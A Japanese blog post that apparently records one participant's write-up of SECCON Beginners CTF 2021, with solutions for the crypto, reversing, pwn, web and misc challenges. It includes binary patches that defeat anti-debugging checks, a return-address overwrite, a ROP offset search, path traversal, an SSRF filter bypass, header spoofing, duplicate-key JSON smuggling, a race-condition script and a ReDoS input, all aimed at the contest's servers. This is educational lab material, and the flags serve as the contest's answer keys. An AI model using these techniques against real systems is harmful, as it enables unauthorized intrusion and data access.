LoginSignup
8
1

More than 1 year has passed since last update.

SECCON Beginners CTF 2021 Writeup

Last updated at Posted at 2021-05-23

チームnicklegrで個人参加。

1787点で78位でした。
(943チーム中。Welcome以外を解いたのは705チーム)

image.png

Screenshot_2021-05-23 SECCON Beginners(2).png

今年は運営の方が速攻でWriteupを上げてくださってるので(ありがたい)
非想定解っぽい問題だけちゃんと書きますね。他はさらっと。

welcome

welcome

ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}

crypto

simple RSA

plain RSAに対する攻撃手法を実装してみる - ももいろテクノロジー の「e乗根」

ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}

Logical_SEESAW

keyが0のビットのみ50%の確率で出力が0になる。残り50%は平文が出る。なので16回分すべてのorを取ればいい。

ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}

reversing

only read

ctf4b{c0n5t4nt_f0ld1ng}

children

[rbp+var_14] が生成したプロセス数のカウンタ
10個といいつつ、ランダムでいくつか追加するようになっているようだ

子プロセスがさらに子プロセスを生成すると書かれているけど、そういう挙動はしないような?

まず、Please give me my child pid!と聞かれたら何を答えても正解になるパッチを当てる

0000000000000a98         lea        rdi, qword [aPleaseGiveMeMy]                ; argument "__s" for method j_puts, "Please give me my child pid!"
0000000000000a9f         call       j_puts                                      ; puts
0000000000000aa4         lea        rax, qword [rbp+var_1C]
0000000000000aa8         mov        rsi, rax
0000000000000aab         lea        rdi, qword [aD]                             ; argument "__format" for method j___isoc99_scanf, "%d"
0000000000000ab2         mov        eax, 0x0
0000000000000ab7         call       j___isoc99_scanf                            ; __isoc99_scanf
0000000000000abc         mov        eax, dword [rbp+var_1C]
0000000000000abf         cmp        dword [rbp+var_18], eax
- 0000000000000ac2         jne        loc_ad6
+ 0000000000000ac2         nop

0000000000000ac4         lea        rdi, qword [aOk]                            ; argument "__s" for method j_puts, "ok"
0000000000000acb         call       j_puts                                      ; puts
0000000000000ad0         add        dword [rbp+var_10], 0x1
0000000000000ad4         jmp        loc_ae9

                     loc_ad6:
0000000000000ad6         lea        rdi, qword [aThisIsNotMyChi]                ; argument "__s" for method j_puts, "This is NOT my child pid!", CODE XREF=main+264
0000000000000add         call       j_puts                                      ; puts
0000000000000ae2         mov        eax, 0x1
0000000000000ae7         jmp        loc_b60

続いて、How many children were born?も同様に必ず正解になるパッチを当てる

0000000000000b06         lea        rdi, qword [aHowManyChildre]                ; argument "__s" for method j_puts, "How many children were born?"
0000000000000b0d         call       j_puts                                      ; puts
0000000000000b12         lea        rax, qword [rbp+var_1C]
0000000000000b16         mov        rsi, rax
0000000000000b19         lea        rdi, qword [aD]                             ; argument "__format" for method j___isoc99_scanf, "%d"
0000000000000b20         mov        eax, 0x0
0000000000000b25         call       j___isoc99_scanf                            ; __isoc99_scanf
- 0000000000000b2a         mov        eax, dword [rbp+var_1C]
+ 0000000000000b2a         mov        eax, dword [rbp+var_14]
0000000000000b2d         cmp        dword [rbp+var_14], eax
0000000000000b30         jne        loc_b4f

0000000000000b32         mov        eax, dword [rbp+var_14]
0000000000000b35         cmp        eax, dword [rbp+var_C]
0000000000000b38         jl         loc_b4f

0000000000000b3a         mov        edx, dword [rbp+var_1C]                     ; argument #3 for method hoge
0000000000000b3d         mov        ecx, dword [rbp+var_14]                     ; argument #4 for method hoge
0000000000000b40         mov        esi, dword [rbp+var_C]                      ; argument #2 for method hoge
0000000000000b43         mov        eax, dword [rbp+var_14]
0000000000000b46         mov        edi, eax                                    ; argument #1 for method hoge
0000000000000b48         call       hoge                                        ; hoge
0000000000000b4d         jmp        loc_b5b

                     loc_b4f:
0000000000000b4f         lea        rdi, qword [aYouDidntUnders]                ; argument "__s" for method j_puts, "You didn't understand me...bye", CODE XREF=main+374, main+382
0000000000000b56         call       j_puts

あとは0を10回くらい入力するとフラグが取れる。
straceするのが想定解だったみたい。

ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

please_not_trace_me

フラグを復号してくれるのは良いけど,表示してくれない!!

ならgdbでメモリの中身を見よう、とすると怒られる

$ gdb ./chall
(gdb) r
Starting program: /media/sf_work/seccon_beginners_2021/please_not_trace_me/chall 
...
prease not trace me...

ptraceの戻り値でデバッガチェックするらしい
Linux (anti)+ debugging

分岐を潰す。ちょっとわかりにくいけど[rbp-0x38]にptraceの戻り値が入ってる

00000000000012f3         call       j_ptrace                                    ; ptrace
00000000000012f8         mov        qword [rbp-0x38], rax
00000000000012fc         mov        qword [rbp-0x28], 0x6
0000000000001304         jmp        sub_13a0+275
0000000000001309         cmp        dword [rbp-0x48], 0x6
000000000000130d         je         sub_1270+172
000000000000130f         mov        qword [rbp-0x28], 0x8
0000000000001317         jmp        sub_13a0+275
000000000000131c         mov        qword [rbp-0x28], 0x12                      ; CODE XREF=sub_1270+157
0000000000001324         jmp        sub_13a0+275
0000000000001329         lea        rdi, qword [aFlagDecryptedB]                ; "flag decrypted. bye."
0000000000001330         call       j_puts                                      ; puts
0000000000001335         mov        qword [rbp-0x28], 0x12
000000000000133d         jmp        sub_13a0+275
0000000000001342         mov        dword [rbp-0x48], 0x2
0000000000001349         mov        qword [rbp-0x28], 0xb
0000000000001351         jmp        sub_13a0+275
0000000000001356         cmp        qword [rbp-0x38], 0x0
- 000000000000135b         jne        sub_1270+250
+ 000000000000135b         nop

フラグは下記でデコードしてるので、rc4から戻った直後にブレークポイントをかけてメモリをのぞく
rc4内部でmallocしてるので、たぶんデコードバッファを確保してraxに返すんでしょう

                     sub_1270:
0000000000001270         mov        rax, qword [rbp-0x40]
0000000000001274         mov        rdi, rax                                    ; argument #1 for method generate_key
0000000000001277         call       generate_key                                ; generate_key
000000000000127c         mov        qword [rbp-0x28], 0x12
0000000000001284         jmp        loc_14b3
0000000000001289         mov        rax, qword [rbp-0x40]
000000000000128d         mov        rsi, rax
0000000000001290         lea        rdi, qword [e]                              ; e
0000000000001297         call       rc4                                         ; rc4
>>> 000000000000129c         mov        qword [rbp-0x28], 0x12
$ gdb ./chall_patch
(gdb) b *0x000055555555529c
(gdb) r
(gdb) x/32xb $rax
0x555555559030: 0x63  0x74  0x66  0x34  0x62  0x7b  0x64  0x31
0x555555559038: 0x64  0x5f  0x79  0x30  0x75  0x5f  0x64  0x33
0x555555559040: 0x63  0x72  0x79  0x70  0x74  0x5f  0x72  0x63
0x555555559048: 0x34  0x3f  0x7d  0x00  0x00  0x00  0x00  0x00

文字列っぽい。たぶん合ってる

(gdb) x/s $rax
0x555555559030: "ctf4b{d1d_y0u_d3crypt_rc4?}"
ctf4b{d1d_y0u_d3crypt_rc4?}

be_angry

SECCON Beginners CTF 2020 Writeup - setodaNote

$ time python3 main.py
WARNING | 2021-05-22 16:39:58,529 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2021-05-22 16:40:00,127 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | Filling register id with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9))
WARNING | 2021-05-22 16:40:00,130 | angr.storage.memory_mixins.default_filler_mixin | Filling register ac with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9))
b'ctf4b{3nc0d3_4r1thm3t1c}'

real    0m21.542s
user    0m21.179s
sys     0m0.446s

firmware

elfは取り出したけどReversingしきれなかった。ascii.txtを読んでてややこしそうだなぁと思ったけどフェイクだった。くやしい

pwnable

rewriter

                     sub_4011fa:
00000000004011fa         push       rbp
00000000004011fb         mov        rbp, rsp
00000000004011fe         sub        rsp, 0x20
0000000000401202         lea        rax, qword [aBincat]                        ; "/bin/cat"
0000000000401209         mov        qword [rbp+var_20], rax
000000000040120d         lea        rax, qword [aFlagtxt]                       ; "flag.txt"
0000000000401214         mov        qword [rbp+var_18], rax
0000000000401218         mov        qword [rbp+var_10], 0x0
0000000000401220         lea        rax, qword [rbp+var_20]
0000000000401224         mov        edx, 0x0
0000000000401229         mov        rsi, rax
000000000040122c         lea        rdi, qword [aBincat]                        ; "/bin/cat"
0000000000401233         call       0x4010e0
0000000000401238         nop
0000000000401239         leave
000000000040123a         ret
 % nc rewriter.quals.beginners.seccon.jp 4103

[Addr]              |[Value]
====================+===================
 0x00007ffd83cca560 | 0x0000000000000000  <- buf
 0x00007ffd83cca568 | 0x0000000000000000
 0x00007ffd83cca570 | 0x0000000000000000
 0x00007ffd83cca578 | 0x0000000000000000
 0x00007ffd83cca580 | 0x0000000000000000  <- target
 0x00007ffd83cca588 | 0x0000000000000000  <- value
 0x00007ffd83cca590 | 0x0000000000401520  <- saved rbp
 0x00007ffd83cca598 | 0x00007f2c0ae90bf7  <- saved ret addr
 0x00007ffd83cca5a0 | 0x0000000000000001
 0x00007ffd83cca5a8 | 0x00007ffd83cca678

Where would you like to rewrite it?
> 0x00007ffd83cca598
0x00007ffd83cca598 = 0x4011fa

[Addr]              |[Value]
====================+===================
 0x00007ffd83cca560 | 0x6166313130347830  <- buf
 0x00007ffd83cca568 | 0x356163633338000a
 0x00007ffd83cca570 | 0x00000000000a3839
 0x00007ffd83cca578 | 0x0000000000000000
 0x00007ffd83cca580 | 0x00000000004011fa  <- target
 0x00007ffd83cca588 | 0x00007ffd83cca598  <- value
 0x00007ffd83cca590 | 0x0000000000401520  <- saved rbp
 0x00007ffd83cca598 | 0x00000000004011fa  <- saved ret addr
 0x00007ffd83cca5a0 | 0x0000000000000001
 0x00007ffd83cca5a8 | 0x00007ffd83cca678
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

beginners rop

SECCON 2018 Online CTF Writeup - Qiita の Classic Pwnと同じ。
手順を改善した部分だけ抜粋

gdb-peda$ pattc 320
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA'

Program received signal SIGSEGV, Segmentation fault.
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd9c8 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA")

gdb-peda$ patto "HA%dA%3A%IA%eA%4A%JA%fA%"
HA%dA%3A%IA%eA%4A%JA%fA% found at offset: 264
% nm -D libc-2.27.so | grep puts
000000000007f2d0 T _IO_fputs
0000000000080aa0 T _IO_puts
000000000007f2d0 W fputs
000000000008a710 W fputs_unlocked
0000000000080aa0 W puts
0000000000128460 T putsgent
0000000000126550 T putspent
ctf4b{H4rd_ROP_c4f3}

web

osoba

def index():
    page = request.args.get('page', 'public/index.html')    
    response = make_response(send_file(page))

https://osoba.quals.beginners.seccon.jp/?page=/flag

ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

Werewolf

class Player:
    ...
    self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])

for k, v in request.form.items():
    player.__dict__[k] = v

python - What is the meaning of single and double underscore before an object name? - Stack Overflow

スクリーンショット 2021-05-22 151032.png

ctf4b{there_are_so_many_hackers_among_us}

check_url

地味に手こずった。
http://localhost/ にアクセスさせる、かつこのサニタイズを通す。

if ($url !== "https://www.example.com"){
  $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
}
if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
  die("do not hack me!");
}

IPv6を考えたけど、 https://[::1]/ と書かないといけなくて[]は使えない。

127.0.0.1(localhost)を一番面白く表記できた奴が優勝 - Qiita

http://2130706433/http://017700000001/ を試したけどBad Requestになる

Screenshot_2021-05-23 c(heck)_url(1).png

Apacheが返しているメッセージなので、自前でインスタンスを立てて理由を調べる。LogLevelをdebugにするとerror.logに下記が出る。

[core:debug] [pid 67774:tid 140037633189632] vhost.c(836): [client 127.0.0.1:34810] AH02416: [strict] purely numeric host names not allowed: 2130706433
[core:debug] [pid 67774:tid 140037633189632] protocol.c(1445): [client 127.0.0.1:34810] AH00569: client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /

ならアルファベットを含めばいい。そういえば http://0x7F000001/ は試してなかった。

Screenshot_2021-05-23 c(heck)_url.png

ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

json

nginxでX-Forwarded-Forの値に$proxy_add_x_forwarded_forを安易に使わない方が良い | せろとにんぱわー.

X-Forwarded-For: 192.168.111.1 をつけて認証を通す

フロントエンド

    // parse json
    var info Info
    if err := json.Unmarshal(body, &info); err != nil {
      c.JSON(400, gin.H{"error": "Invalid parameter."})
      return
    }

    // validation
    if info.ID < 0 || info.ID > 2 {
      c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
      return
    }

    if info.ID == 2 {
      c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
      return
    }

APIサーバ

    id, err := jsonparser.GetInt(body, "id")
    if err != nil {
      c.String(400, "Failed to parse json")
      return
    }

わざわざ違うライブラリ使ってるのは、変なデータ投げたときの挙動が違うんだろうなーと
{"id":2, "id":1} をPOST

ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}

cant_use_db

トランザクションはちゃんとしましょう。

$cookie = ""

class Https
  # 自作クラス。省略。Cookieを$cookieに入れてる
end

BASE_URL = "https://cant-use-db.quals.beginners.seccon.jp"

Https.get(BASE_URL, {})
pp $cookie

header = { "Cookie" => $cookie.gsub(/;.+$/, "") }
pp header

threads = []
threads << Thread.new { puts Https.post("#{BASE_URL}/buy_soup", header, {}) }
threads << Thread.new { puts Https.post("#{BASE_URL}/buy_noodles", header, {}) }
threads.each {|t| t.join}

puts Https.post("#{BASE_URL}/buy_noodles", header, {})
puts Https.get("#{BASE_URL}/eat", header, {})
 % ruby solve.rb
"session=eyJ1c2VyIjoiMjIyMC84aWQ0eE1GM2JXa1BsQ0dOM1FPdDBJRWxnb2FTYXo2dWdOUW4tT2t5In0.YKkFMw.LuEgjirPTLDEw1UV9OjsTzL3jI4; HttpOnly; Path=/"
{"Cookie"=>
  "session=eyJ1c2VyIjoiMjIyMC84aWQ0eE1GM2JXa1BsQ0dOM1FPdDBJRWxnb2FTYXo2dWdOUW4tT2t5In0.YKkFMw.LuEgjirPTLDEw1UV9OjsTzL3jI4"}
💸💸$20000
💸$10000
💸$10000
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

misc

git-leak

 % git reflog
e0b545f HEAD@{0}: commit (amend): feat: めもを追加
80f3044 HEAD@{1}: commit (amend): feat: めもを追加
b3bfb5c HEAD@{2}: rebase -i (finish): returning to refs/heads/master
b3bfb5c HEAD@{3}: commit (amend): feat: めもを追加
7387982 HEAD@{4}: rebase -i: fast-forward
36a4809 HEAD@{5}: rebase -i (start): checkout HEAD~2
7387982 HEAD@{6}: reset: moving to HEAD
7387982 HEAD@{7}: commit: feat: めもを追加
36a4809 HEAD@{8}: commit: feat: commit-treeの説明を追加
9ac9b0c HEAD@{9}: commit: change: 順番を変更
8fc078d HEAD@{10}: commit: feat: git cat-fileの説明を追加
d3b47fe HEAD@{11}: commit: feat: fsckを追記する
f66de64 HEAD@{12}: commit: feat: reflogの説明追加
d5aeffe HEAD@{13}: commit: feat: resetの説明を追加
a4f7fe9 HEAD@{14}: commit: feat: git logの説明を追加
9fcb006 HEAD@{15}: commit: feat: git commitの説明追加
6d21e22 HEAD@{16}: commit: feat: git addの説明を追加
656db59 HEAD@{17}: commit: feat: add README.md
c27f346 HEAD@{18}: commit (initial): initial commit
 % git reset --hard HEAD@{7}
HEAD is now at 7387982 feat: めもを追加
 % cat flag.txt
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

Mail_Address_Validator

正規表現でのメールアドレスチェックは見直すべき – ReDoS – yohgaki's blog

 % nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
username@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}

fly

WOLF RPGエディターのゲーム。岩でフラグが書いてあるっぽい。

image.png

エンジンのデバッグモードを立ち上げてみる。

スクリーンショット 2021-05-23 024847.png

Xスクロール値をいじれればフラグが見れそう。
うさみみハリケーンでサーチしたら0019B668にある。書き換えてもすぐ戻されるのでollydbgでパッチを当てて値を固定。

なかった…

スクリーンショット 2021-05-23 125322.png

キャラの座標もサーチして柵の外には出られた。赤い階段に入ってみる

スクリーンショット 2021-05-23 130613.png

くっそww
青い階段にはマップ移動判定がない。ここまででした。

作問者の方のWriteup

他のみなさんのWriteup

8
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
8
1